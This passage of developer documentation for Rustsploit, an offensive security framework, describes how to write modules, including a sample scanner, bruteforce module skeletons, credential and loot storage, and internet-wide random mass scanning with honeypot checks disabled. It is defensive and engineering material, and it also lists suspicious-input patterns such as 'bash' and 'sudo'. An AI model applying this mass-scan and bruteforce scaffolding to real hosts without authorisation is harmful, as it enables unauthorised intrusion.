let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
println!("{} Checking {}:{}", "[*]".cyan(), target, port);
let url = format!("http://{}:{}/status", target, port);
let body = reqwest::get(&url)
.await
.with_context(|| format!("Failed to reach {}", url))?
.text()
.await
.context("Failed to read response body")?;
if body.contains("vulnerable") {
println!("{} {} appears vulnerable", "[+]".green(), target);
} else {
if verbose {
println!("{} Response: {}", "[*]".cyan(), body);
}
println!("{} {} not vulnerable", "[-]".red(), target);
}
Ok(())
}
```
---
## Output Conventions
| Prefix | Color | Meaning |
|--------|-------|---------|
| `[+]` | Green | Success / found |
| `[-]` | Red | Not found / not vulnerable |
| `[!]` | Yellow | Warning |
| `[*]` | Cyan | Info / progress |
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
---
## Async I/O Guidelines
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
- For concurrency:
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
---
## Error Handling
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
```rust
.with_context(|| format!("Failed to connect to {}", target))?
```
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
---
## Wordlists & Resources
Store under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
---
## Framework-Level Multi-Target Dispatch
The framework's command dispatcher (`src/commands/mod.rs`) automatically handles multiple target types for **all** modules. Module authors do not need to implement multi-target logic themselves -- the dispatcher wraps each module's `run()` function and handles:
- **Comma-separated targets**: `192.168.1.1,192.168.1.2,10.0.0.1` -- splits and dispatches each entry individually.
- **CIDR subnets**: `192.168.1.0/24` -- expands the subnet and runs the module against each host IP.
- **File-based target lists**: If the target string is a path to an existing file, each line is read and dispatched as a separate target.
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random` -- generates random public IPs in an infinite loop (Ctrl+C to stop).
This means a module that only handles a single host in its `run()` function automatically gains subnet scanning, file-based targeting, and mass-scan capability through the framework.
---
## 0.0.0.0/0 Internet-Wide Scanning
Modules supporting mass-scan accept `0.0.0.0`, `0.0.0.0/0`, or `random` as targets. When detected, the module enters an infinite loop generating random public IPs using:
```rust
fn generate_random_public_ip() -> Ipv4Addr { ... }
fn is_excluded_ip(ip: Ipv4Addr) -> bool { ... }
```
The `EXCLUDED_RANGES` constant covers bogons, private, reserved, documentation CIDRs, and public DNS servers. Copy this pattern from an existing mass-scan module (e.g., `telnet_hose` or `hikvision_rce`).
Honeypot detection is disabled in mass-scan mode to avoid interactive prompts.
+218
View File
@@ -0,0 +1,218 @@
# Security & Input Validation
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
---
## Validation Constants
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
---
## Security Patterns
### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
### 2. Input Sanitization
The `sanitize_string_input()` function performs multiple layers of cleaning:
1. **Null byte removal** -- inputs containing `\0` are rejected outright
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
```rust
// Reject null bytes, then filter control characters (except tab)
let sanitized: String = input.chars()
.filter(|c| !c.is_control() || *c == '\t')
.collect();
```
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
```
[!] Input contains shell/path patterns. Treated as literal text string.
```
### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
### 4. Target / Hostname Validation
Always use the framework's `normalize_target` function:
```rust
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
```
For custom character validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
### 5. Overflow Protection
```rust
// Use saturating_add to prevent integer overflow
counter = counter.saturating_add(1);
```
### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0u8;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// prompt logic
}
```
### 7. File Operations
When reading files:
1. Validate path does not contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
4. Skip symlinks for security
---
## API Security
The API server (`api.rs`) implements:
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
- **Auto-cleanup** — old entries purged at 100,000 entries
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat
---
## MCP Server Security
The MCP server (`mcp/server.rs`) implements:
- **`isolate_protocol_stdout()`** — redirects fd 1 to /dev/null so module `println!` cannot corrupt the JSON-RPC stream
- **`MAX_LINE_BYTES`** — 1 MiB cap on incoming lines to prevent memory exhaustion
- **Binary-safe reads** — uses `read_until()` instead of `read_line()` for no UTF-8 requirement
- **Non-UTF-8 error handling** — returns proper JSON-RPC error responses for malformed input
---
## Spool Security
The spool system (`spool.rs`) implements:
- **`O_NOFOLLOW`** — prevents TOCTOU race conditions on symlinked spool files
- **Parent symlink check** — rejects spool paths with symlinked parent directories
- **Lock-first pattern** — acquires write lock before creating files to prevent orphaned files
- **`write_line()` returns `Result`** — callers handle write failures instead of silently dropping output
---
## Privilege Checks
Modules requiring raw sockets call `require_root()` at startup:
```rust
use crate::utils::privilege::require_root;
require_root("ICMP raw socket")?;
```
Returns a descriptive error with the current euid instead of a cryptic "permission denied" from the socket layer. Used by DoS modules, ping sweep, and raw packet scanners.
---
## Honeypot Detection
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
- Scans **200 common ports** with a 250 ms timeout each
- If **11 or more** ports respond, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually from module code:
```rust
use crate::utils::basic_honeypot_check;
basic_honeypot_check(&ip).await;
```
---
## IP Exclusion Ranges (`EXCLUDED_RANGES`)
Standard across mass-scan capable modules (e.g., `camxploit`, `telnet_hose`, `telnet_bruteforce`, exploit modules with 0.0.0.0/0 support):
| CIDR | Category |
|------|----------|
| `10.0.0.0/8` | Private |
| `127.0.0.0/8` | Loopback |
| `172.16.0.0/12` | Private |
| `192.168.0.0/16` | Private |
| `224.0.0.0/4` | Multicast |
| `240.0.0.0/4` | Reserved |
| `0.0.0.0/8` | This network |
| `100.64.0.0/10` | Carrier-grade NAT |
| `169.254.0.0/16` | Link-local |
| `198.18.0.0/15` | Benchmarking |
| `198.51.100.0/24` | Documentation |
| `203.0.113.0/24` | Documentation |
| `255.255.255.255/32` | Broadcast |
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
Uses the `ipnetwork` crate for proper CIDR matching.
---
## Persistent Storage Security
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
| File | Purpose | Sensitivity |
|------|---------|-------------|
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
| `~/.rustsploit/results/` | Module output files | Medium |
| `~/.rustsploit/history.txt` | Shell command history | Medium |
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
+160
View File
@@ -0,0 +1,160 @@
# Testing & QA
Guidelines for verifying that new modules and framework changes are correct.
---
## Static Checks
Run before every commit or PR:
```bash
# Format code
cargo fmt
# Lint (use where available)
cargo clippy
# Compile check (fast, no linking)
cargo check
```
A clean `cargo check` with **0 errors and 0 warnings** is required. The current codebase (all 240 modules) passes this check cleanly.
---
## Build Verification
```bash
cargo build
```
`build.rs` regenerates the dispatchers (`exploit_dispatch.rs`, `scanner_dispatch.rs`, `creds_dispatch.rs`, `plugins_dispatch.rs`, `module_registry.rs`) into `OUT_DIR` during compilation. All 240 modules (183 exploits, 27 scanners, 29 creds, 1 plugin) are auto-discovered and dispatched by `build.rs`. If a new module fails to register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
---
## Runtime Smoke Tests
### Shell
```bash
cargo run
# Inside the shell:
modules # Verify new module appears in list
find <keyword> # Verify keyword search works
u scanners/sample_scanner
set target 127.0.0.1
go # Runs the sample scanner against localhost
```
### CLI
```bash
cargo run -- -m scanners/sample_scanner -t 127.0.0.1
cargo run -- --list-modules # Verify your module is listed
```
### API
```bash
# Start the server
cargo run -- --api
# Verify server starts (module listing requires PQ WebSocket session)
curl http://localhost:8080/health
```
---
## Unit Tests
Run all unit tests:
```bash
cargo test
```
Module-level tests can be added inline:
```rust
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_response() {
let output = parse_response(b"some payload");
assert!(output.is_some());
}
}
```
For async tests:
```rust
#[tokio::test]
async fn test_async_behavior() {
// ...
}
```
---
## Wordlist Validation
Before adding a module that depends on wordlists:
1. Confirm the file exists under `lists/`
2. Reference the path in docstrings or `lists/readme.md`
3. Validate it is non-empty at runtime and handle the empty case gracefully
---
## Framework Feature Smoke Tests
After modifying framework features, verify these work:
```bash
# Shell smoke test
cargo run
# Inside shell:
info exploits/sample_exploit # Should display module metadata
setg port 8080 # Set global option
show options # Should show port=8080
unsetg port # Remove it
creds # Should show empty cred store
hosts # Should show empty host list
workspace # Should show "default" workspace
loot # Should show empty loot
jobs # Should show no jobs
spool /tmp/test.log # Start console logging
spool off # Stop logging
export json /tmp/test.json # Should create JSON file
```
```bash
# API smoke test — verify server starts and health endpoint responds
cargo run -- --api
curl http://localhost:8080/health
# All other endpoints require a PQ WebSocket session — see API-Server.md
```
---
## Regression Notes
| Area | What to verify |
|------|----------------|
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
| New exploit | Response validated before declaring success, artifacts written to CWD |
| New scanner | Outputs parseable results, status codes filtered correctly |
| Mass-scan module | `EXCLUDED_RANGES` applied, no private/bogon IPs targeted |
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
| Utils change | All prompt helpers still compile, no dead code warnings |
| Module with `info()` | Build generates info_dispatch entry, `info` command displays metadata |
| Module with `check()` | Build generates check_dispatch entry, `check` command runs verification |
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
| Workspace change | JSON saved on modification, workspace switch preserves data |
| Cred store change | JSON persistence works, search returns correct results |
---
## Known Disabled / Stubbed Code
| Module | Status | Reason |
|--------|--------|--------|
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient``Client`, builder pattern + `TokioRuntimeProvider`) |
+744
View File
@@ -0,0 +1,744 @@
# Utilities & Helpers
Rustsploit provides several utility modules that every module developer should know:
| Module | Import Path | Purpose |
|--------|-------------|---------|
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
| **Network Utils** | `crate::utils::network` | HTTP client builders, TCP/UDP connect helpers, honeypot check |
| **Privilege Utils** | `crate::utils::privilege` | Root privilege check for raw-socket modules |
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
---
## `crate::utils` — Core Utilities
### `load_lines(path) → Result<Vec<String>>`
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
```rust
use crate::utils::load_lines;
let passwords = load_lines("passwords.txt")?;
for pw in &passwords {
// each entry is trimmed, non-empty
}
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `path` | `impl AsRef<Path>` | Path to the file to read |
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
---
### `normalize_target(raw) → Result<String>`
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
```rust
use crate::utils::normalize_target;
let target = normalize_target(user_input)?;
// target is now in one of:
// "192.168.1.1" (IPv4)
// "192.168.1.1:8080" (IPv4 + port)
// "[::1]" (IPv6)
// "[::1]:8080" (IPv6 + port)
// "example.com" (hostname)
// "192.168.1.0/24" (CIDR)
```
| Input Format | Example |
|--------------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` → extracts `example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
---
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
#### `cfg_prompt_required(key, msg) → Result<String>`
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
```rust
use crate::utils::cfg_prompt_required;
let community = cfg_prompt_required("community", "SNMP community string").await?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
| `msg` | `&str` | Prompt message shown to user in shell mode |
**Errors** in API mode if key is missing (required field).
---
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
```rust
use crate::utils::cfg_prompt_yes_no;
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
| `msg` | `&str` | Prompt message shown to user in shell mode |
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
---
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
```rust
use crate::utils::cfg_prompt_existing_file;
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
let lines = load_lines(&wordlist)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key for API mode |
| `msg` | `&str` | Interactive prompt message |
**Errors** in API mode if key is missing (required field).
---
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
Integer prompt with range validation.
```rust
use crate::utils::cfg_prompt_int_range;
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `i64` | Default value |
| `min` | `i64` | Minimum allowed value |
| `max` | `i64` | Maximum allowed value |
---
#### `cfg_prompt_default(key, msg, default) → Result<String>`
Generic string prompt with a default value.
```rust
use crate::utils::cfg_prompt_default;
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `&str` | Default value when empty |
---
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
Port number prompt. Validates range 165535.
```rust
use crate::utils::cfg_prompt_port;
let port = cfg_prompt_port("port", "Target port", 22)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `u16` | Default port number |
---
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
```rust
use crate::utils::cfg_prompt_output_file;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
// output is guaranteed to be a safe basename like "results.txt"
```
---
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
```rust
use crate::utils::cfg_prompt_wordlist;
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
let lines = load_lines(&wordlist)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key for API mode |
| `msg` | `&str` | Interactive prompt message |
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
---
### Complete Module Integration Example
Here's a typical module using all the core utils together:
```rust
use crate::utils::{
load_lines, normalize_target,
cfg_prompt_required, cfg_prompt_yes_no, cfg_prompt_existing_file,
cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_port,
cfg_prompt_output_file, cfg_prompt_wordlist,
};
pub async fn run(target: &str) -> anyhow::Result<()> {
let target = normalize_target(target)?;
// Gather config — works in both shell and API mode
let port = cfg_prompt_port("port", "Target port", 22)?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
// Load wordlists
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
// ... bruteforce logic ...
Ok(())
}
```
---
## `crate::modules::creds::utils` — Credential Module Utilities
Import path:
```rust
use crate::modules::creds::utils::{
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
};
```
---
### `BruteforceStats`
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
```rust
use std::sync::Arc;
use crate::modules::creds::utils::BruteforceStats;
let stats = Arc::new(BruteforceStats::new());
// In each worker task:
let stats = Arc::clone(&stats);
tokio::spawn(async move {
match attempt_login(&host, &user, &pass).await {
Ok(true) => stats.record_success(),
Ok(false) => stats.record_failure(),
Err(e) => stats.record_error(format!("{}", e)).await,
}
// Show live progress (prints inline with \r)
stats.print_progress();
});
// After all tasks complete:
stats.print_final().await;
```
#### Methods
| Method | Async | Description |
|--------|-------|-------------|
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
| `.record_success()` | No | Increment total + successful counters |
| `.record_failure()` | No | Increment total + failed counters |
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
| `.record_retry()` | No | Increment retry counter |
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
---
### `is_subnet_target(target) → bool`
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
```rust
use crate::modules::creds::utils::is_subnet_target;
if is_subnet_target(&target) {
// Iterate subnet
} else {
// Single host
}
```
---
### `parse_subnet(target) → Result<IpNetwork>`
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
```rust
use crate::modules::creds::utils::parse_subnet;
let network = parse_subnet("192.168.1.0/24")?;
for ip in network.iter() {
println!("Scanning {}", ip);
}
```
---
### `subnet_host_count(net) → u128`
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
```rust
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
let net = parse_subnet("10.0.0.0/8")?;
println!("Scanning {} hosts", subnet_host_count(&net));
// → "Scanning 16777216 hosts"
```
---
### `generate_random_public_ip(exclusions) → IpAddr`
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
```rust
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
let exclusions = parse_exclusions(&[
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"100.64.0.0/10", // CGNAT
"224.0.0.0/4", // Multicast
]);
let ip = generate_random_public_ip(&exclusions);
println!("Random target: {}", ip);
```
---
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
```rust
use crate::modules::creds::utils::parse_exclusions;
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
// excluded.len() == 2 (invalid entry silently dropped)
```
---
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
```rust
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
let state_file = "mqtt_cidr_results.txt";
for ip in network.iter() {
if is_ip_checked(&ip, state_file).await {
continue; // Already scanned
}
// ... scan the IP ...
mark_ip_checked(&ip, state_file).await;
}
```
| Function | Async | Description |
|----------|-------|-------------|
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
---
## Complete Credential Module Example
Putting both utility modules together in a real bruteforce module:
```rust
use std::sync::Arc;
use crate::utils::{
load_lines, normalize_target,
cfg_prompt_port, cfg_prompt_existing_file,
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
};
use crate::modules::creds::utils::{
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
};
pub async fn run(target: &str) -> anyhow::Result<()> {
let target = normalize_target(target)?;
let port = cfg_prompt_port("port", "Target port", 1883)?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
let stats = Arc::new(BruteforceStats::new());
if is_subnet_target(&target) {
let network = parse_subnet(&target)?;
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
for ip in network.iter() {
if is_ip_checked(&ip, &output).await { continue; }
// ... bruteforce ip ...
mark_ip_checked(&ip, &output).await;
}
} else {
// ... single host bruteforce ...
}
stats.print_final().await;
Ok(())
}
```
---
## `crate::config` — Framework Configuration
Import path:
```rust
use crate::config::{
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
ModuleConfig, get_module_config, set_module_config, clear_module_config,
results_dir,
};
```
---
### `GLOBAL_CONFIG` (static `GlobalConfig`)
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
```rust
use crate::config::GLOBAL_CONFIG;
// Check if a target is set
if !GLOBAL_CONFIG.has_target() {
println!("No target set!");
return Ok(());
}
// Read the target as a string
let target = GLOBAL_CONFIG.get_target().unwrap();
println!("Targeting: {}", target);
```
#### `GlobalConfig` Methods
| Method | Returns | Description |
|--------|---------|-------------|
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
| `.get_target()` | `Option<String>` | Get the target as a display string |
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
| `.has_target()` | `bool` | Check if any target is set |
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
| `.clear_target()` | `()` | Unset the target |
#### `TargetConfig` Enum
```rust
use crate::config::TargetConfig;
pub enum TargetConfig {
Single(String), // Single IP or hostname
Subnet(IpNetwork), // CIDR subnet
}
```
---
### `ModuleConfig` & API Prompt Keys
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
#### Struct Fields
```rust
pub struct ModuleConfig {
pub port: Option<u16>,
pub username_wordlist: Option<String>,
pub password_wordlist: Option<String>,
pub concurrency: Option<usize>,
pub stop_on_success: Option<bool>,
pub save_results: Option<bool>,
pub output_file: Option<String>,
pub verbose: Option<bool>,
pub combo_mode: Option<bool>,
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
pub api_mode: bool, // ← prevents stdin fallback
}
```
#### Helper Functions
| Function | Description |
|----------|-------------|
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
| `set_module_config(config)` | Set the config (called by API server before module execution) |
| `clear_module_config()` | Reset to defaults (called after module execution) |
```rust
use crate::config::get_module_config;
let config = get_module_config();
if config.api_mode {
// Running via API — don't expect stdin
}
if let Some(port) = config.port {
// Use pre-configured port
}
```
#### Standardized API Prompt Keys
When building API requests, use these standardized keys in the `"prompts"` JSON object:
**Common keys (most modules):**
| Key | Type | Description |
|-----|------|-------------|
| `port` | u16 | Target service port |
| `timeout` | int | Connection timeout (seconds or ms) |
| `verbose` | y/n | Verbose output |
| `save_results` | y/n | Save results to file |
| `output_file` | string | Output filename |
| `concurrency` | int | Concurrent threads/tasks |
| `threads` | int | Alias for concurrency |
| `wordlist` | path | Path to wordlist file |
| `target_file` | path | File containing targets |
| `mode` | string | Operation mode (1, 2, 3, etc.) |
**Scanner-specific keys** (see full list in `config.rs` doc comments):
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
---
### `results_dir() → PathBuf`
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
```rust
use crate::config::results_dir;
let out_path = results_dir().join("scan_output.txt");
std::fs::write(&out_path, results)?;
```
---
## Constants
| Constant | Value | Purpose |
|----------|-------|---------|
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
---
## `crate::utils::network` — Network Utilities
Import path:
```rust
use crate::utils::network::{
build_http_client, build_http_client_with, HttpClientOpts,
tcp_connect_addr, tcp_connect_str, tcp_connect, tcp_port_open,
blocking_tcp_connect, udp_bind, quick_honeypot_check,
};
```
---
### `build_http_client(timeout) → Result<Client>`
Creates a standard `reqwest::Client` with sensible defaults (danger-accept invalid certs, no redirect limit). Use this instead of hand-rolling `reqwest::Client::builder()`.
```rust
use crate::utils::network::build_http_client;
let client = build_http_client(Duration::from_secs(10))?;
let resp = client.get(&url).send().await?;
```
---
### `build_http_client_with(timeout, opts) → Result<Client>`
Extended HTTP client builder with additional options.
```rust
use crate::utils::network::{build_http_client_with, HttpClientOpts};
